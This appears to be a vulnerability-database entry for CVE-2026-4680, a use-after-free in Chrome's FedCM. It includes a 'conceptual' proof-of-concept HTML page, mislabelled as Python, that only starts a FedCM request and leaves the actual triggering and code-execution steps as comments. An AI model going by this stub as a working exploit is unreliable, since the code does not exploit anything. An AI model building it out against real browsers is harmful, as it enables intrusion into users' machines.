Use after free in FedCM in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4680 (Conceptual)
Target: Google Chrome < 146.0.7680.165
Description: Trigger Use-After-Free in FedCM.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-4680 PoC</title>
</head>
<body>
<script>
// Configuring a fake identity provider to trigger FedCM
const identityProviderConfig = {
configURL: 'https://example.com/fedcm-config.json',
clientId: 'client_id_123',
nonce: 'nonce_xyz'
};
async function triggerExploit() {
try {
// Step 1: Initiate FedCM request to allocate memory
const promise = navigator.credentials.get({
identity: identityProviderConfig
});
// Step 2: Simulate race condition or memory pressure
// In a real exploit, specific DOM operations are used here
// to free the FedCM object while the promise is pending.
console.log("Attempting to trigger UAF in FedCM...");
// Step 3: Attempt to access the freed object
// This part requires precise timing and memory layout control
// to achieve code execution.
await promise;
} catch (error) {
console.error("Failed to trigger vulnerability:", error);
}
}
triggerExploit();
</script>
</body>
</html>